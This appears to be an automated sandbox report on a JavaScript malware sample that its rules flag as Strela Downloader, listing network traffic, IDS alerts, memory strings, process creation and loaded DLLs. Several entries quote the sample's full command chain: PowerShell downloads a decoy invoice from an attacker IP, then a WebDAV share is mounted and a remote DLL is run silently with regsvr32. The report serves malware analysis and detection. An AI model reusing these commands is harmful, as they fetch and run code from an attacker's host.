6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2037467777.0000027650BCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2142142785.0000012346CB8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2124929304.0000012346D0F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2135518833.0000012346CEB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142204739.0000012346CEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2142142785.0000012346CB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pZ
Source: net.exe, 00000007.00000002.2142142785.0000012346CB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s
Source: svchost.exe, 00000009.00000002.3322902241.0000022816A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2138800864.00000228168C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5476, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1003135002549521218.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1812:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_emt4thnv.erk.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1003135002549521218.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1003135002549521218.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2236 --field-trial-handle=1556,i,2341799134305516262,1218484323056796191,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2236 --field-trial-handle=1556,i,2341799134305516262,1218484323056796191,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
